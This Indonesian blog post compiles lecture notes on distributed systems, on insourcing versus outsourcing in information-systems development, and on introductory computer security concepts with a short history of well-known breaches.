Minggu, 02 Desember 2012

sistem terdistribusi

Bab 1. Pengenalan Sistem Terdistribusi
1.1. Definisi Sitem Terdistribusi
Sistem distribusi adalah sebuah sistem yang komponennya berada pada jaringan komputer. Komponen tersebut saling berkomunikasi dan melakukan koordinasi hanya dengan pengiriman pesan (message passing).
Sistem terdistribusi merupakan kebalikan dari Sistem Operasi Prosesor Jamak. Pada sistem tersebut, setiap prosesor memiliki memori lokal tersendiri. Kumpulan prosesornya saling berinteraksi melalui saluran komunikasi seperti LAN dan WAN menggunakan protokol standar seperti TCP/IP. Karena saling berkomunikasi, kumpulan prosesor tersebut mampu saling berbagi beban kerja, data, serta sumber daya lainnya.
Sistem terdistribusi dapat dikatakan sebagai suatu keberadaan beberapa komputer yang bersifat transparan dan secara normal, setiap sistem terdistribusi mengandalkan layanan yang disediakan oleh jaringan komputer.
Dalam penggunaanya sistem terdistribusi sangat diperlukan karena:
● Performance
Sekumpulan prosesor dapat menyediakan kinerja yang lebih tinggi daripada komputer yang terpusat
● Distribution
Banyak aplikasi yang terlibat, sehingga lebih baik jika dipisah dalam mesin yang berbeda (contoh: aplikasi perbankan, komersial)
● Reliability
Jika terjadi kerusakan pada salah satu mesin, tidak akan mempengaruhi kinerja system secara keseluruhan
● Incremental Growth
Mesin baru dapat ditambahkan jika kebutuhan proses meningkat
● Sharing Data/Resource
Resource adalah:
– Segala hal yang dapat digunakan bersama dalam jaringan komputer.
– Meliputi hardware (e.g. disk, printer, scanner), juga software (berkas, basis data, obyek data).
● Communication
Menyediakan fasilitas komunikasi antar manusia
Beberapa contoh dari sistem terdistribusi yaitu :
1. Internet, merupakan suatu bentuk jaringan global yang menghubungkan komputer denga satu sama lainnya, yang dapat berkomunikasi dengan media IP sebagai protokol.




2. Intranet
● Jaringan yang teradministrasi secara lokal
● Biasanya proprietary
● Terhubung ke internet (melalui firewall)
● Menyediakan layanan internal dan eksternal



3. Sistem terdistribusi multimedia
Biasanya digunakan pada infrastruktur internet
● Karakteristik
Sumber data yang heterogen dan memerlukan sinkronisasi secara real time
● Video, audio, text Multicast
Contoh:
- Teleteaching tools (mbone-based, etc.)
- Video-conferencing
- Video and audio on demand
4. Mobile dan sistem komputasi ubiquitous
● Sistem telepon Cellular (e.g., GSM)
Resources dishare : frekuensi radio, waktu transmisi dalam satu frekuensi, bergerak
● Komputer laptop, ubiquitous computing
● Handheld devices, PDA, etc




5. World wide web
● Arsitektur client/server tebuka yang diterapkan di atas infrastruktur internet
● Shared resources (melalui URL)



6. Contoh distribusi yang lainnya seperti
● Sistem telepon seperti ISDN, PSTN
● Manajemen jaringan seperti Administrasi sesumber jaringan
● Network File System (NFS) seperti Arsitektur untuk mengakses sistem file melalui jaringan.
1.2. Karakteristik Sistem Terdistribusi
Dalam system terdistribusi terdapat beberapa karakteristik yaitu :
1. No global clock
- Terdapat batasan pada ketepatan proses sinkronisasi clock pada sistem terdistribusi, oleh karena asynchronous message passing
- Pada sistem terdistribusi, tidak ada satu proses tunggal yang mengetahui global state sistem saat ini (disebabkan oleh concurrency dan message passing)
2. Independent failure
- Kemungkinan adanya kegagalan proses tunggal yang tidak diketahui
- Proses tunggal mungkin tidak peduli pada kegagalan sistem keseluruhan
3. Concurrency of components
- E.g. Beberapa pemakai browser mengakses suatu halaman web secara bersamaan.
- Bagaimana jika ada operasi update?
1.3. Model Sistem Terdistribusi
Dalam pelaksanaannya sistem terdistribusi memiliki berbagai bentuk (model), yaitu :
1. Sistem client - server
Merupakan bagian dari model sistem terdistribusi yang membagi jaringan berdasarkan pemberi dan penerima jasa layanan. Pada sebuah jaringan akan didapatkan: file server, time server, directory server, printer server, dan seterusnya.



2. Sistem point to point
Merupakan bagian dari model sistem terdistribusi dimana sistem dapat sekaligus berfungsi sebagai client maupun server.
3. Sistem terkluster
Adalah gabungan dari beberapa sistem individual (komputer) yang dikumpulkan pada suatu lokasi, saling berbagi tempat penyimpanan data (storage), dan saling terhubung dalam jaringan lokal (Local Area Network). Sistem kluster memiliki persamaan dengan sistem paralel dalam hal menggabungkan beberapa CPU untuk meningkatkan kinerja komputasi. Jika salah satu mesin mengalami masalah dalam menjalankan tugas maka mesin lain dapat mengambil alih pelaksanaan tugas itu. Dengan demikian, sistem akan lebih handal dan fault tolerant dalam melakukan komputasi.
Dalam hal jaringan, sistem kluster mirip dengan sistem terdistribusi (distributed system). Bedanya, jika jaringan pada sistem terdistribusi melingkupi komputer-komputer yang lokasinya tersebar maka jaringan pada sistem kluster menghubungkan banyak komputer yang dikumpulkan dalam satu tempat.
1.4. Permasalahan Sistem Terdistribusi
Masalah dengan sistem terdistribusi yang dapat dimunculkan antara lain berkaitan dengan :
● Software - bagaimana merancang dan mengatur software dalam Distribusi Sistem
● Ketergantungan pada infrastruktur jaringan
● Kemudahan akses ke data yang di share, memunculkan masalah keamanan
Dalam setiap penggunaan suatu sistem, banyak sekali ditemui permasalahan – permasalahan yang muncul, begitu juga dengan sistem terdistribusi. Selain permasalahan – permasalahan yang akan dihadapi terdapat tantangan – tantangan dalam sistem terdistribusi.
1.5. Tantangan Sistem Terdistribusi
Tantangan yang ada dalam Sistem Terdistribusi yaitu :
1. Keheterogenan komponen (heterogenity)
2. Keterbukaan (openness)
3. Keamanan (security)
4. Scalability
5. Penanganan kegagalan (failure handling)
6. Concurrency of components
7. Transparansi
1. Keheterogenan
● Suatu sistem terdistribusi dapat dibangun dari berbagai network, operation system, hardware dan programming language yang berbeda.
● IP dapat digunakan utk mengatasi perbedaan jaringan.
● Middleware mengatasi perbedaan lainnya.
2. Keterbukaan
● Mendukung extensibility.
● Setiap komponen memiliki antarmuka (interface), yg di-publish ke komponen lain.
● Perlu integrasi berbagai komponen yg dibuat oleh programmer atau vendor yg berbeda.
3. Keamanan
● Shared resources & transmisi informasi rahasia perlu dilengkapi dengan enkripsi.
● Cegah denial of service.
4. Scalability
● Penambahan pemakai membutuhkan penambahan resource yg konstan.
● Cegah bottleneck.
● Jika perlu, gunakan replikasi.
5. Penanganan Kegagalan
● Setiap proses (komputer atau jaringan) dapat mengalami kegagalan secara independen.
● Komponen lain harus tetap berjalan dgn baik.
● E.g. failed branch in a distributed banking system.
6. Concurrency
● Multiple users with concurrent requests to a shared resources.
● Setiap resource hrs aman di lingkungan tersebut di atas.
7. Transparansi
Transparan: bagi pemakai, keberadaan beberapa komponen tampak sebagai satu sistem saja.
● Access transparency:
Local & remote resources dapat diakses dengan operasi yg sama.
● Location transparency:
– Resource dapat diakses tanpa tahu di mana lokasinya.
– Bagaimana pendapat Anda mengenai hyperlink & URL?
● Concurrency transparency:
– Beberapa proses dapat sama-sama menggunakan suatu resource tanpa saling interferensi.
– Bagaimana jika beberapa pemakai secara bersamaan akan mengubah suatu berkas?
● Replication transparency:
Pemakai maupun pemrogram aplikasi tidak perlu mengetahui adanya replikasi resource, yg dapat meningkatkan kehandalan dan unjuk kerja.
● Failure transparency:
Pemakai dan pemrogram aplikasi dapat menyelesaikan tugasnya walaupun ada kegagalan hardware atau software.
● Mobility transparency:
Resource dan klien dapat berpindah tanpa mempengaruhi operasi pemakai atau program.
● Performance transparency:
Sistem dapat dikonfigurasi ulang untuk meningkatkan unjuk kerja, sejalan dengan perubahan beban sistem.
● Scaling transparency:
Sistem dan aplikasi mudah bertambah luas tanpa perubahan struktur sistem dan algoritma aplikasi.

pengembangan sistem informasi

Bidang sistem informasi melintasi banyak teknologi kompleks, konsep keperilakuan yang abstrak, dan aplikasi khusus dalam bidang-bidang bisnis serta non-bisnis yang tidak terhitung jumlahnya. kerangka kerja konseptual, berguna untuk mengatur pengetahuan yang disajikan tentang hal-hal yang perlu diketahui mengenai sistem informasi manajemen untuk mendapatkan keuntungan. Sistem informasi seyogyanya mendukung strategi bisnis organisasi, proses bisnis, struktur dan budaya organisasi dalam meningkatkan nilai bisnis dari organisasi khususnya dalam lingkungan bisnis yang dinamis.
Sebuah sistem informasi adalah sistem buatan manusia yang berisi himpunan terintegrasi dari komponen-komponen manual dan komponen-komponen terkomputerisasi yang bertujuan untuk mengumpulkan data, menyimpan data, memproses data, dan menghasilkan informasi. Sebuah sistem informasi melayani dua fungsi penting dalam sebuah organisasi. Pertama, sistem informasi mencerminkan dan mengamati aksi-aksi dalam sistem operasi, yaitu dengan memproses, mencatat, dan melaporkan transaksi-transaksi operasional. Kedua, sistem informasi mendukung kegiatan-kegiatan manajerial, termasuk pembuatan keputusan-keputusan manajemen.
Agar para praktisi bisnis dapat dengan lebih mudah mengakses sumber daya-sumber daya informasi dalam hal pengembangan sistem informasi perusahaan yang berbasis teknologi informasi, baik itu didalam perusahaan maupun diluar perusahaan yang mereka butuhkan untuk mendukung kebutuhan pelanggan, pemasok dan mitra dagang. Sistem informasi lintas fungsi manajemen (co-sourching) perusahaan akan dapat mendukung, serta meningkatkan komunikasi dan kerjasama antar tim atau kelompok kerja di dalam suatu organisasi ataupun diluar organisasi (in-co-out sourching). Dalam hal ini maka perusahaan dapat mencapai tingkat efisiensi, kelincahan, dan responsivitas secara optimal dan maksimal yang dibutuhkan untuk berhasil dalam lingkungan bisnis yang serba tidak pasti dan dinamis dalam menangani berbagai fungsi bisnis dalam pemasaran, produksi, atau operasi, akuntansi, keuangan, dan dalam hal manajemen sumber daya manusia melalui berbagai operasi dengan sistem informasi manajemen yang baik.
Pengembangan sistem informasi dalam perusahaan dapat dilakukan melalui tiga metode yaitu in-sourcing, co-sourcing, dan out-sourcing. Perusahaan harus berhati-hati dalam hal pemilihan alternatif pengembangan sistem informasi yang tepat. Kesalahan di dalam pemilihan alternatif akan menyebabkan investasi yang telah dilakukan serta waktu yang terpakai akan menjadi sia-sia. Perusahaan dapat membandingkan advantage dan disadvantage dari ketiga alternatif tersebut.
Masing-masing metode memiliki keunggulan dan kelemahan tersendiri. Pemilihan terhadap salah satu metode pengembangan sistem informasi tersebut dipengaruhi oleh banyak faktor, diantaranya ketersediaan dana dan kemampuan tenaga kerja.




INSOURCING

Sistem informasi manajemen menitikberatkan pada informasi untuk suatu keputusan terstruktur atau informasi yang dapat diantisipasi. Hal tersebut mungkin tampak sederhana, tetapi sebenarnya menyediakan informasi untuk membantu manajer-manajer membuat keputusan-keputusan adalah tugas yang sangat sulit dan kompleks. Sistem informasi manajemen memainkan peranan penting dalam penyusunan rencana strategis, pembuatan keputusan, dan pengontrolan kegiatan-kegiatan untuk dapat mengukur tingkat keberhasilannya.
In-sourcing adalah metode pengembangan sistem informasi yang hanya melibatkan sumber daya di dalam suatu organisasi atau suatu perusahaan. Sistem informasi mengenai operasi sistem pada pihak manajemen untuk memberikan pengarahan dan pemeliharaan sistem dalam hal ini pengendalian ketika sistem bertukar input dan output dengan lingkungannya.

Keuntungan
Keunggulan dalam menerapkan metode in-sourcing diantaranya :
ÄUmumnya sistem informasi yang dikembangkan sesuai dengan kebutuhan perusahaan karena karyawan yang ditugaskan mengerti kebutuhan sistem dalam perusahaan.
ÄBiaya pengembangannya relatif lebih rendah karena hanya melibatkan pihak perusahaan.
ÄSistem informasi yang dibutuhkan dapat segera direalisasikan dan dapat segera melakukan perbaikan untuk menyempurnakan sistem tersebut.
ÄSistem informasi yang dibangun sesuai dengan spesifikasi yang dibutuhkan dan dokumentasi yang disertakan lebih lengkap.
ÄMudah untuk melakukan modifikasi dan pemeliharaan (maintenance) terhadap sistem informasi karena proses pengembangannya dilakukan oleh karyawan perusahaan tersebut.
ÄAdanya insentif tambahan bagi karyawan yang diberi tanggung jawab untuk mengembangkan sistem informasi perusahaan tersebut.
ÄLebih mudah melakukan pengawasan (security access) dan keamanan data lebih terjamin karena hanya melibatkan pihak perusahaan.
ÄSistem informasi yang dikembangkan dapat diintegrasikan lebih mudah dan lebih baik terhadap sistem yang sudah ada.

Kelemahan
Kelemahan dalam menerapkan metode in-sourcing adalah :
  • § Keterbatasan jumlah dan tingkat kemampuan SDM yang menguasai teknologi informasi.
    • § Pengembangan sistem informasi membutuhkan waktu yang lama karena konsentrasi karyawan harus terbagi dengan pekerjaan rutin sehari-hari sehingga pelaksanaannya menjadi kurang efektif dan efisien.
    • § Perubahan dalam teknologi informasi terjadi secara cepat dan belum tentu perusahaan mampu melakukan adaptasi dengan cepat sehingga ada peluang teknologi yang digunakan kurang canggih (tidak up to date).
    • § Membutuhkan waktu untuk pelatihan bagi operator dan programmer sehingga ada konsekuensi biaya yang harus dikeluarkan.
    • § Adanya demotivasi dari karyawan ditugaskan untuk mengembangkan sistem informasi karena bukan merupakan core competency pekerjaan mereka.
    • § Kurangnya tenaga ahli (expert) di bidang sistem informasi dapat menyebabkan kesalahan persepsi dalam pengembangan distem dan kesalahan/resiko yang terjadi menjadi tanggung jawab perusahaan (ditanggung sendiri).



OUTSORCING

Teknologi tidak lagi merupakan pemikiran terakhir dalam membentuk strategi bisnis, tetapi merupakan penyebab dan penggerak yang sebenarnya. Peran utama aplikasi sistem informasi dalam bisnis adalah untuk memberikan dukungan yang efektif atas strategi perusahaan agar dapat memperoleh keunggulan kompetitif diluar perusahaan dengan menggunakan sumberdaya-sumberdaya yang terdapat didalam perusahaan itu sendiri. Perusahaan dapat bertahan hidup dan berhasil dalam jangka panjang hanya jika perusahaan tersebut berhasil mengembangkan strategi tekanan kompetitif yang membentuk struktur persaingan dalam industrinya. Sumberdaya-sumberdaya yang terdapat diluar perusahaan yang diantaranya, sumber daya data calon pelanggan dan pelanggan, sumber daya data pemasok, sumber daya informasi, sumber daya data pesaing atau kompetitor, dan atau sumber daya lainnya yang terkait hubungannya dengan keunggulan perusahaan yang berada diluar perusahaan (outsource).
Outsourcing dapat berupa meminta pihak ketiga untuk melaksanakan proses pengembangan sistem informasi termasuk pelaksana sistem informasi. Pihak perusahaan menyerahkan tugas pengembangan dan pelaksanaan serta maintenance sistem kepada pihak ketiga. Menurut O’Brien dan Marakas (2006), beberapa pertimbangan perusahaan untuk memilih strategi outsourcing sebagai alternatif dalam mengembangkan Sistem Informasi Sumberdaya Informasi diantaranya:
  1. Biaya pengembangan sistem sangat tinggi.
  2. Resiko tidak kembalinya investasi yang dilkukan sangat tinggi.
  3. Ketidakpastian untuk mendapatkan sistem yang tepat sesuai dengan spesifikasi yang diinginkan.
  4. Faktor waktu/kecepatan.
  5. Proses pembelajaran pelaksana sistem informasi membutuhkan jangka waktu yang cukup lama.
  6. Tidak adanya jaminan loyalitas pekerja setelah bekerja cukup lama dan terampil.


Keuntungan
Keuntungan dengan menerapkan metode out-sourcing adalah :
Ä  Perusahaan dapat mengonsentrasikan diri pada bisnis yang ditangani
Masalah mengenai hardware, sofware, dan maintenance sistem merupakan tanggung jawab pihak vendor.
ÄLebih praktis serta waktu pengembangan sistem informasi relatif lebih cepat, efektif, dan efisisen karena dikerjakan oleh orang yang profesional di bidangnya.
ÄPenghematan waktu proses dapat diperoleh karena beberapa outsourcer dapat dipilih untuk bekerja bersama-sama menyediakan jasa ini kepada perusahaan.
Ä  Dapat membeli partner/provider sesuai anggaran dan kebutuhan
ÄMemudahkan akses pada pasar global jika menggunakan vendor yang mempunyai reputasi baik.
ÄResiko ditanggung oleh pihak ketiga. Resiko kegagalan yang tinggi dan biaya teknologi yang semakin meningkat, akan lebih menguntungkan bagi perusahaan jika menyerahkan pengembangan sistem informasi kepada outsourcer agar tidak mengeluarkan investasi tambahan.
ÄBiaya pengembangan sistem informasi dapat disesuaikan dengan anggaran dan kebutuhan perusahaan. Mahal atau murahnya biaya pengembangan sistem informasi  tergantung jenis program yang dibeli.
ÄMengurangi resiko penghamburan investasi jika penggunaan sumber daya sistem informasi belum optimal. Jika hal ini terjadi maka perusahaan hanya menggunakan sumber daya sistem yang optimal pada saat-saat tertentu saja, sehingga sumber daya sistem informasi menjadi tidak dimanfaatkan pada waktu yang lainnya.
ÄDapat digunakan untuk meningkatkan kas dalam aset perusahaan karena tak perlu ada aset untuk teknologi informasi.
ÄMemfasilitasi downsizing sehingga perusahaan tak perlu memikirkan pengurangan pegawai.


Kelemahan
Disamping keunggulan yang telah disampaikan di atas, penerapan metode out-sourcing ini juga memiliki kelemahan, diantaranya :
  • § Terdapat kekhawatiran tentang keamanan sistem informasi karena adanya peluang penyalahgunaan sistem informasi oleh vendor, misalnya pembajakan atau pembocoran informasi perusahaan.
  • § Ada peluang sistem informasi yang dikembangkan tidak sesuai dengan kebutuhan perusahaan dikarenakan vendor tidak memahami kebutuhan sistem dalam perusahaan tersebut.
  • § Transfer knowledge terbatas karena pengembangan sistem informasi sepenuhnya dilakukan oleh vendor.
  • § Relatif sulit melakukan perbaikan dan pengembangan sistem informasi karena pengembangan perangkat lunak dilakukan oleh vendor, sedangkan perusahaan umumnya hanya terlibat sampai rancangan kebutuhan sistem.
  • § Dapat terjadi ketergantungan kepada konsultan.
  • § Manajemen perusahaan membutuhkan proses pembelajaran yang cukup lama dan perusahaan harus membayar lisensi program yang dibeli sehingga ada konsekuensi biaya tambahan yang dibayarkan.
  • § Resiko tidak kembalinya investasi yang telah dikeluarkan apabila terjadi ketidakcocokan sistem informasi yang dikembangkan.
  • § Mengurangi keunggulan kompetitif perusahaan. Mungkin saja pihak outsourcer tidak fokus dalam memberikan layanan karena pada saat yang bersamaan harus mengembangkan sistem informasi klien lainnya.
  • § Perusahaan akan kehilangan kendali terhadap aplikasi yang di-outsource-kan. Jika aplikasinya adalah aplikasi kritikal yang harus segera ditangani jika terjadi gangguan, perusahaan akan menanggung resiko keterlambatan penanganan jika aplikasi ini di-outsource-kan karena kendali ada pada outsourcer yang harus dihubungi terlebih dahulu.
  • § Jika kekuatan menawar ada di outsourcer, perusahaan akan kehilangan banyak kendali dalam memutuskan sesuatu apalagi jika terjadi konflik diantaranya.


Kesimpulan
Pengembangan sistem informasi dalam perusahaan dapat dilakukan melalui tiga metode yaitu in-sourcing, co-sourcing, dan out-sourcing. Perusahaan harus berhati-hati dalam hal pemilihan alternatif pengembangan sistem informasi yang tepat. Kesalahan di dalam pemilihan alternatif akan menyebabkan investasi yang telah dilakukan serta waktu yang terpakai akan menjadi sia-sia. Perusahaan dapat membandingkan advantage dan disadvantage dari ketiga alternatif tersebut. Masing-masing metode memiliki keunggulan dan kelemahan tersendiri. Pemilihan terhadap salah satu metode pengembangan sistem informasi tersebut dipengaruhi oleh banyak faktor, diantaranya ketersediaan dana dan kemampuan tenaga kerja.
Metode insourcing sebaiknya digunakan ketika perusahaan yakin bahwa metode tersebut memang tepat. Beberapa keunggulan dari insourcing yaitu bahwa karena yang mengembangkan sistem informasi adalah karyawan yang bekerja di perusahaan itu maka ia mengerti dan paham mengenai apa yang dibutuhkan perushaan, selain itu perusahaan juga menghemat biaya tenaga kerja. Tetapi perlu dipikirkan juga bahwa pengembangan tersebut tidak akan menggangu pekerjaan rutin si karyawan, sehingga pengerjaannya akan fokus. Apabila ternyata mengganggu maka akan mengakibatkan pengembangan tersebut justru memakan waktu yang lama.
Proses outsourcing sebaiknya dikomunikasikan dan diinformasikan kepada berbagai divisi yang ada pada perusahaan tersebut termasuk staff bagian IT, sehingga ketika outsourcing dilaksanakan para staff memahami pentingnya keahlian dan teknologi baru bagi perusahaan mereka dan  di dorong untuk memperoleh keahlian baru tersebut. Salah satu contoh keberhasilan outsourcing yaitu, American Standard yang melaporkan bahwa dalam setahun dapat menghemat $2 juta karena melakukan outsourcing terhadap operasi keuangan dan penggajian (Laudon & Laudon, 1998).
Kunci utama dalam kesuksesan outsourcing adalah pemilihan vendor yang tepat (choose the right vendor) karena outsourcing merupakan kerjasama jangka panjang sehingga penunjukkan vendor yang tepat sebagai mitra perusahaan menjadi sangat krusial baik dari pertimbangan aspek teknologi, bisnis, maupun tujuan finansial.

keamanan komputer

DIKTAT KULIAH KEAMANAN KOMPUTER

 


PENDAHULUAN


Modal dasar :
·         Mengetahui Bahasa Pemrograman
·         Menguasai pengetahuan perangkat keras dan perangkat lunak pengontrolnya (logika interfacing).
·         Menguasai pengelolaan instalasi komputer.
·         Menguasai dengan baik teori jaringan komputer ; protokol, infrastruktur, media komunikasi.
·         Memahami cara kerja system operasi.
·         Memiliki ‘pikiran jahat’ ;-p

Cara belajar :
·         Cari buku-buku mengenai keamanan komputer cetakan, e-book, majalah-majalah/tabloid komputer edisi cetak maupun edisi online.
·         Akses ke situs-situs review keamanan (contoh: www.cert.org ), situs-situs underground (silahkan cari via search engine).
·         Pelajari review atau manual book perangkat keras dan perangkat lunak untuk memahami cara kerja dengan baik.

Keamanan Komputer Mengapa dibutuhkan ?


·         “information-based society”, menyebabkan nilai informasi  menjadi sangat penting dan menuntut kemampuan untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah organisasi,

·         Infrastruktur Jaringan komputer, seperti LAN  dan Internet, memungkinkan untuk menyediakan informasi secara cepat, sekaligus membuka potensi adanya lubang keamanan (security hole)

Kejahatan Komputer semakin meningkat karena :
·         Aplikasi bisnis berbasis TI dan jaringan komputer meningkat : online banking, e-commerce, Electronic data Interchange (EDI).
·         Desentralisasi server.
·         Transisi dari single vendor ke multi vendor.
·         Meningkatnya kemampuan pemakai (user).
·         Kesulitan penegak hokum dan belum adanya ketentuan yang pasti.
·         Semakin kompleksnya system yang digunakan, semakin besarnya source code program yang digunakan.
·         Berhubungan dengan internet.

Klasifikasi kejahatan Komputer :



 


                                                                                                                            


Menurut David Icove [John D. Howard, “An Analysis Of Security Incidents On The Internet 1989 - 1995,” PhD thesis, Engineering and Public Policy, Carnegie Mellon University, 1997.] berdasarkan lubang keamanan, keamanan dapat
diklasifikasikan menjadi empat, yaitu:
  1. Keamanan yang bersifat fisik (physical security): termasuk akses orang ke gedung, peralatan, dan media yang digunakan. Contoh :
·         Wiretapping atau hal-hal yang ber-hubungan dengan akses ke kabel atau komputer yang digunakan juga dapat dimasukkan ke dalam kelas ini.
·         Denial of service, dilakukan misalnya dengan mematikan peralatan atau membanjiri saluran komunikasi dengan pesan-pesan (yang dapat berisi apa saja karena yang diuta-makan adalah banyaknya jumlah pesan).
·         Syn Flood Attack, dimana sistem (host) yang dituju dibanjiri oleh permintaan sehingga dia menjadi ter-lalu sibuk dan bahkan dapat berakibat macetnya sistem (hang).
  1. Keamanan yang berhubungan dengan orang (personel), Contoh :
·         Identifikasi user (username dan password)
·         Profil resiko dari orang yang mempunyai akses (pemakai dan pengelola).

  1. Keamanan dari data dan media serta teknik komunikasi (communications).
  2. Keamanan dalam operasi: Adanya prosedur yang digunakan untuk mengatur dan mengelola sistem keamanan, dan juga ter-masuk prosedur setelah serangan (post attack recovery).








Text Box: Karakteristik Penyusup :
1. The Curious (Si Ingin Tahu) - tipe penyusup ini pada dasarnya tertarik menemukan jenis sistem dan data yang anda miliki. 
2. The Malicious (Si Perusak) - tipe penyusup ini berusaha untuk merusak sistem anda, atau merubah web page anda, atau sebaliknya membuat waktu dan uang anda kembali pulih. 
3. The High-Profile Intruder (Si Profil Tinggi) - tipe penyusup ini berusaha menggunakan sistem anda untuk memperoleh popularitas dan ketenaran. Dia mungkin menggunakan sistem profil tinggi anda untuk mengiklankan kemampuannya. 
4. The Competition (Si Pesaing) - tipe penyusup ini tertarik pada data yang anda miliki dalam sistem anda. Ia mungkin seseorang yang beranggapan bahwa anda memiliki sesuatu yang dapat menguntungkannya secara keuangan atau sebaliknya.


Text Box: Istilah bagi penyusup :
1. Mundane ; tahu mengenai hacking tapi tidak mengetahui metode dan prosesnya.
2. lamer (script kiddies) ; mencoba script2 yang pernah di buat oleh aktivis hacking, tapi tidak paham bagaimana cara membuatnya.
3. wannabe ; paham sedikit metode hacking, dan sudah mulai berhasil menerobos sehingga berfalsafah ; HACK IS MY RELIGION.
4. larva (newbie) ; hacker pemula, teknik hacking mulai dikuasai dengan baik, sering bereksperimen.
5. hacker ; aktivitas hacking sebagai profesi.
6. wizard ; hacker yang membuat komunitas pembelajaran di antara mereka.
7. guru ; master of the master hacker, lebih mengarah ke penciptaan tools-tools yang powerfull yang salah satunya dapat menunjang aktivitas hacking, namun lebih jadi tools pemrograman system yang umum.
 






















































ASPEK KEAMANAN KOMPUTER :
Menurut Garfinkel [Simson Garfinkel, “PGP: Pretty Good Privacy,” O’Reilly & Associ-ates, Inc., 1995. ]

1. Privacy / Confidentiality 
·         Defenisi : menjaga informasi dari orang yang tidak berhak mengakses.
·         Privacy  : lebih kearah data-data yang sifatnya privat , Contoh : e-mail seorang pemakai (user) tidak boleh dibaca oleh administrator.
·         Confidentiality       : berhubungan dengan data yang diberikan ke pihak lain untuk keperluan tertentu dan hanya diperbolehkan untuk keperluan tertentu tersebut.
·         Contoh  : data-data yang sifatnya pribadi (seperti nama, tempat tanggal lahir, social security number, agama, status perkawinan, penyakit yang pernah diderita, nomor kartu kredit, dan sebagainya) harus dapat diproteksi dalam penggunaan dan penyebarannya.
·         Bentuk Serangan : usaha penyadapan (dengan program sniffer).
·         Usaha-usaha yang dapat dilakukan untuk meningkatkan privacy dan confidentiality adalah dengan menggunakan teknologi kriptografi.

Integrity
·         Defenisi : informasi tidak boleh diubah tanpa seijin pemilik informasi.
·         Contoh : e-mail di intercept di tengah jalan, diubah isinya, kemudian diteruskan ke alamat yang dituju.
·         Bentuk serangan : Adanya virus, trojan horse, atau pemakai lain yang mengubah informasi tanpa ijin, “man in the middle attack” dimana seseorang menempatkan diri di tengah pembicaraan dan menyamar sebagai orang lain.

Authentication
·         Defenisi : metoda untuk menyatakan bahwa informasi betul-betul asli, atau orang yang mengakses atau memberikan informasi adalah betul-betul orang yang dimaksud.
·         Dukungan :
·         Adanya Tools membuktikan keaslian dokumen, dapat dilakukan dengan teknologi watermarking(untuk menjaga “intellectual property”, yaitu dengan menandai dokumen atau hasil karya dengan “tanda tangan” pembuat ) dan digital signature.
·         Access control, yaitu berkaitan dengan pembatasan orang yang dapat mengakses informasi. User harus menggunakan password, biometric (ciri-ciri khas orang), dan sejenisnya.

Availability
·         Defenisi : berhubungan dengan ketersediaan informasi ketika dibutuhkan.
·         Contoh hambatan :
·         “denial of service attack” (DoS attack), dimana server dikirimi permintaan (biasanya palsu) yang bertubi-tubi atau permintaan yang diluar perkiraan sehingga tidak dapat melayani permintaan lain atau bahkan sampai down, hang, crash.
·         mailbomb, dimana seorang pemakai dikirimi e-mail bertubi-tubi (katakan ribuan e-mail) dengan ukuran yang besar sehingga sang pemakai tidak dapat membuka e-mailnya atau kesulitan mengakses e-mailnya.

Access Control

·         Defenisi :  cara pengaturan akses kepada informasi.  berhubungan dengan masalah
·         authentication dan juga privacy
·         Metode : menggunakan kombinasi userid/password atau dengan
·         menggunakan mekanisme lain.

Non-repudiation
·         Defenisi : Aspek ini menjaga agar seseorang tidak dapat menyangkal telah melakukan sebuah transaksi. Dukungan bagi  electronic commerce.

 

 

Security Attack Models


Menurut W. Stallings [William Stallings, “Network and Internetwork Security,” Prentice
Hall, 1995.] serangan (attack) terdiri dari :

·         Interruption: Perangkat sistem menjadi rusak atau tidak tersedia. Serangan ditujukan kepada ketersediaan (availability) dari sistem. Contoh serangan adalah “denial of service attack”.

·         Interception: Pihak yang tidak berwenang berhasil mengakses asset atau informasi. Contoh dari serangan ini adalah penyadapan (wiretapping).

·         Modification: Pihak yang tidak berwenang tidak saja berhasil mengakses, akan tetapi dapat juga mengubah (tamper) aset. Contoh dari serangan ini antara lain adalah mengubah isi dari web site dengan pesan-pesan yang merugikan pemilik web site.

·         Fabrication: Pihak yang tidak berwenang menyisipkan objek palsu ke dalam sistem. Contoh dari serangan jenis ini adalah memasukkan pesan-pesan palsu seperti e-mail palsu ke dalam jaringan komputer.






SECURITY BREACH ACCIDENT

1996
U.S. Federal Computer Incident Response Capability (FedCIRC) melaporkan bahwa lebih dari 2500 “insiden” di system komputer atau jaringan komputer yang disebabkan oleh gagalnya sistem keamanan atau adanya usaha untuk membobol sistem keamanan
1996
FBI National Computer Crimes Squad, Washington D.C.,  memperkirakan kejahatan komputer yang terdeteksi kurang dari 15%, dan hanya 10% dari angka itu yang dilaporkan
1997
Penelitian Deloitte Touch Tohmatsu menunjukkan bahwa dari 300 perusahaan di Australia, 37% (dua diantara lima) pernah  mengalami masalah keamanan sistem komputernya.
1996
Inggris, NCC Information Security Breaches Survey menunjukkan bahwa kejahatan komputer menaik 200% dari tahun 1995 ke 1996.  Kerugian rata-rata US $30.000 / insiden.
1998
FBI melaporkan bahwa kasus persidangan yang berhubungan
dengan kejahatan komputer meroket 950% dari tahun 1996 ke
tahun 1997, dengan penangkapan dari 4 ke 42, dan terbukti
(convicted) di pengadilan naik 88% dari 16 ke 30 kasus.

Dan lain-lain. Dapat dilihat di www.cert.org 


Contoh akibat dari jebolnya sistem keamanan, antara lain:

1988
Keamanan sistem mail sendmail dieksploitasi oleh Robert
Tapan Morris sehingga melumpuhkan sistem Internet. Kegiatan
ini dapat diklasifikasikan sebagai “denial of service attack”.
Diperkirakan biaya yang digunakan untuk memperbaiki dan hal-hal lain yang hilang adalah sekitar $100 juta. Di tahun 1990 Morris
dihukum (convicted) dan hanya didenda $10.000.
10 Maret 1997
Seorang hacker dari Massachusetts berhasil mematikan sistem telekomunikasi di sebuah airport local (Worcester,  Massachusetts) sehingga mematikan komunikasi di control tower dan menghalau pesawat yang hendak mendarat. 
Dia juga mengacaukan sistem telepon di Rutland, Massachusetts.
1990
Kevin Poulsen mengambil alih system komputer telekomunikasi di Los Angeles untuk memenangkan kuis di sebuah radio local.
1995
Kevin Mitnick, mencuri 20.000 nomor kartu kredit, menyalin system operasi DEC secara illegal dan mengambil alih hubungan telpon di New York dan California.
1995
Vladimir Levin membobol bank-bank di kawasan Wallstreet, mengambil uang sebesar $10 juta.
2000
Fabian Clone menjebol situs aetna.co.id dan Jakarta mail dan membuat directory atas namanya berisi peringatan terhadap administrator situs tersebut.
2000
